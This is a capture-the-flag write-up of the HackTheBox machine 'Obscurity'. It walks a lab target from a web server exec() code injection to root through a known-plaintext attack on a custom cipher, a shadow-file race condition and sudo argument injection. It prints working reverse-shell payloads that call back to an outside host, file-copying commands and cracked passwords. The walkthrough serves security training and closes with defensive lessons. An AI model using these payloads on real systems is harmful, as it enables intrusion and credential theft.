HTB: Obscurity Writeup
Obscurity - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Obscurity |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 4 May 2020 |
| IP Address | 10.10.10.168 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Obscurity is a medium-difficulty Linux machine featuring a custom web server with a critical code injection vulnerability. The exploitation chain begins with discovering a directory containing the source code of BadHTTPServer, which has an unsafe exec() call that allows arbitrary Python code execution. From there, enumeration reveals a custom encryption algorithm and encrypted password files. A known-plaintext attack recovers the encryption key, which decrypts the user’s password. Lateral movement leads to discovering a custom SSH replacement script that can be exploited via either a race condition on temporary shadow files or by argument injection through sudo. Both methods yield root access.
TL;DR: Code injection in custom web server → Source code discovery → Known-plaintext attack on custom crypto → User password recovery → Sudo abuse in custom SSH script → Root shell.
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.10.10.168nmap -sC -sV -p22,8080 10.10.10.168Results:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu8080/tcp open http BadHTTPServerThe machine runs SSH on port 22 and a custom web server called BadHTTPServer on port 8080.
Service Enumeration
Port 8080 - BadHTTPServer:
Accessing the web server reveals a site for “Obscura,” a security-focused software company. The page mentions that their custom BadHTTPServer is located in a “secret development directory.”
The website itself provides minimal information, but the hint about the development directory is crucial for the next phase.
Vulnerability Assessment
Identified Vulnerabilities:
- Code Injection in BadHTTPServer - The
serveDoc()function usesexec()with user-controlled input - Source Code Exposure - The web server source code is accessible via directory enumeration
- Weak File Permissions - Custom encryption key and encrypted passwords are world-readable
- Custom Cryptography Weakness - The encryption algorithm is vulnerable to known-plaintext attacks
- Sudo Privilege Abuse - The custom SSH script has both race condition and argument injection vulnerabilities
Initial Foothold
Directory Enumeration
Using ffuf, we search for the development directory containing the web server source:
# Download and extract ffufwget https://github.com/ffuf/ffuf/releases/download/v1.0.2/ffuf_1.0.2_linux_amd64.tar.gzmkdir ffuf && tar -xzf ffuf_1.0.2_linux_amd64.tar.gz -C ffuf
# Fuzz for directories./ffuf -w /usr/share/dirb/wordlists/common.txt \ -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200Result: The develop directory is discovered, containing SuperSecureServer.py.
Source Code Acquisition
wget http://10.10.10.168:8080/develop/SuperSecureServer.pyVulnerability Analysis
Examining the source code, the serveDoc() function contains the vulnerability:
def serveDoc(self, path, docRoot): path = urllib.parse.unquote(path) try: info = "output = 'Document: {}'" # User input here! exec(info.format(path)) # DANGEROUS! # ... rest of codeThe URL path is directly formatted into a string and executed with exec(), allowing arbitrary Python code injection.
Exploitation
Testing Locally:
First, set up a local test environment:
mkdir -p DocRoot/errorstouch DocRoot/errors/404.htmlecho "test" > DocRoot/index.htmlEdit SuperSecureServer.py to add a listening server and print statements:
# Add before exec()print(info.format(path))
# Append to files = Server("127.0.0.1", 8080)s.listen()Test basic injection:
# Requesthttp://127.0.0.1:8080/';os.system('id');'
# Output shows command executionuid=0(root) gid=0(root) groups=0(root)Remote Exploitation:
Verify command execution on the target:
# Monitor for ICMPtcpdump -i tun0 icmp &
# Execute ping via injectioncurl "http://10.10.10.168:8080/';os.system('ping%20-c%202%2010.10.14.3');'"Obtaining a Shell:
Craft a Python reverse shell payload:
# URL-encoded reverse shellhttp://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Set up a listener:
nc -lvnp 443Shell Upgrade
SHELL=/bin/bash script -q /dev/null# Ctrl+Zstty raw -echo; fgLateral Movement
Enumeration and Discovery
Run linPEAS to identify privilege escalation vectors:
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.shbash linpeas.sh | tee linpeas_output.txtKey findings:
- User
roberthas a world-readable home directory - Files present:
SuperSecureCrypt.py,check.txt,out.txt,passwordreminder.txt
Known-Plaintext Attack on Custom Encryption
The SuperSecureCrypt.py file implements a simple repeating-key cipher:
def encrypt(text, key): keylen = len(key) keyPos = 0 encrypted = "" for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr + ord(keyChr)) % 255) encrypted += newChr keyPos += 1 keyPos = keyPos % keylen return encryptedAttack Plan: We have check.txt (plaintext) and out.txt (ciphertext). By subtracting plaintext from ciphertext byte-by-byte, we can recover the key.
Exfiltrate Files:
# On targetbase64 -w0 out.txtbase64 -w0 check.txt
# On local machine, decodeecho '<base64_out>' | base64 -d > out.txtecho '<base64_check>' | base64 -d > check.txtRecover the Key:
def getkey(cipher, plain): position = 0 key = "" for item in list(plain): cipherchar = cipher[position] plainchar = ord(item) key += chr((ord(cipherchar) - plainchar) % 255) position += 1 print(key)
with open('out.txt', 'rb') as f: cipher = f.read()with open('check.txt', 'rb') as f: plain = f.read()
getkey(cipher, plain)Result: The encryption key is alexandrovich.
Password Recovery
Decrypt the password reminder file:
# On targetbase64 -w0 passwordreminder.txt
# On local machineecho '<base64_pwd>' | base64 -d > passwordreminder.txtdef decrypt(text, key): keylen = len(key) keyPos = 0 decrypted = "" for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr - ord(keyChr)) % 255) decrypted += newChr keyPos += 1 keyPos = keyPos % keylen return decrypted
with open('passwordreminder.txt', 'rb') as f: cipher = f.read()
password = decrypt(cipher, "alexandrovich")print(password)Result: Password is SecThruObsFTW.
Lateral Movement to robert
su - robert# Enter password: SecThruObsFTWcat user.txtPrivilege Escalation
Discovery
Check sudo privileges:
sudo -lOutput:
User robert may run the following commands on obscure: (ALL) NOPASSWD: /home/robert/BetterSSH/BetterSSH.pyThe user can run a custom SSH replacement script as root without a password.
Method 1: Race Condition on Temporary Shadow File
Examining BetterSSH.py, the authentication process temporarily copies /etc/shadow to a random filename in /tmp/SSH/:
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])with open('/tmp/SSH/'+path, 'w') as f: f.write(passwordFile)time.sleep(.1) # Only 100ms sleep!Exploitation:
Open two SSH sessions as robert:
Session 1:
# Create /tmp/SSH directory and start monitoringmkdir -p /tmp/SSHcd /tmp/SSHwhile true; do sleep 0.05 cp -r . /tmpdoneSession 2:
sudo /home/robert/BetterSSH/BetterSSH.py# When prompted:# Username: robert# Password: SecThruObsFTWBack in Session 1:
Once a shadow file appears in /tmp:
cat /tmp/robert # or similar filenameExtract and crack the root password hash:
# Copy the root hash (e.g., root:$6$...$...)echo 'root:$6$...$...' > root_hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txtResult: Root password is mercedes.
Switch to root:
su - root# Enter password: mercedescat /root/root.txtMethod 2: Sudo Argument Injection
Examining the command execution in BetterSSH.py:
if session['authenticated'] == 1: while True: command = input(session['user'] + "@Obscure$ ") cmd = ['sudo', '-u', session['user']] cmd.extend(command.split(" ")) proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)The script builds a command as ['sudo', '-u', 'robert', ...]. By injecting additional -u flags, we can override the user:
Exploitation:
sudo /home/robert/BetterSSH/BetterSSH.py# Username: robert# Password: SecThruObsFTW
# At the prompt, instead of a normal command, inject:-u root idThis constructs: sudo -u robert -u root id, which executes as root.
Reverse Shell:
Create a reverse shell script:
echo 'bash -i >/dev/tcp/10.10.14.3/8080 0<&1 2>&1' > /tmp/shell.shchmod +x /tmp/shell.shSet up a listener:
nc -lvnp 8080In the BetterSSH session:
-u root /tmp/shell.shResult: Obtain root shell and capture the flag.
Attack Chain Summary
Port Scan (SSH, BadHTTPServer on 8080) ↓Directory Enumeration (ffuf discovers /develop/) ↓Source Code Download (SuperSecureServer.py) ↓Code Injection in exec() → RCE as www-data ↓Reverse Shell Obtained ↓Enumerate robert's Home Directory ↓Known-Plaintext Attack on SuperSecureCrypt.py ↓Recover Encryption Key ("alexandrovich") ↓Decrypt Password ("SecThruObsFTW") ↓su to robert ↓Execute BetterSSH.py as root via sudo ↓Race Condition OR Argument Injection ↓Root Shell & Flags CapturedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Directory and file enumeration |
wget / curl | File download and HTTP requests |
nc | Reverse shell listener |
tcpdump | ICMP monitoring for command execution verification |
john | Password hash cracking |
linPEAS | Privilege escalation enumeration script |
base64 | File encoding/decoding for exfiltration |
Key Learnings
Techniques Practiced
- Python code injection via unsafe
exec()calls - Directory enumeration with ffuf
- Crafting URL-encoded reverse shells
- Known-plaintext cryptanalysis on custom ciphers
- Race condition exploitation on temporary files
- Sudo argument injection and manipulation
- Custom application security weaknesses
- File permission enumeration and exploitation
Lessons Learned
-
Never use
exec()with user input - Even with string formatting, untrusted input can break out of string literals and execute arbitrary code. -
Custom cryptography is dangerous - Simple repeating-key XOR-style ciphers are trivially broken with known-plaintext attacks. Use established libraries like
cryptographyorPyCryptodome. -
Temporary files are a privilege escalation vector - Race conditions on files in shared directories like
/tmpwith short time windows are exploitable. -
Argument parsing can be exploited - Building command arrays by naively extending with split input allows injection of additional flags (e.g., multiple
-uoptions to sudo). -
Source code disclosure is critical - Exposing application source code allows attackers to identify vulnerabilities without reverse engineering.
-
World-readable files in user directories - Configuration files, encrypted data, and scripts should never be world-readable. Use restrictive permissions (chmod 600 or 700).
-
Defense in depth matters - This machine required chaining multiple vulnerabilities. A single fix (e.g., fixing the exec injection) would not be sufficient without addressing crypto and sudo issues.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>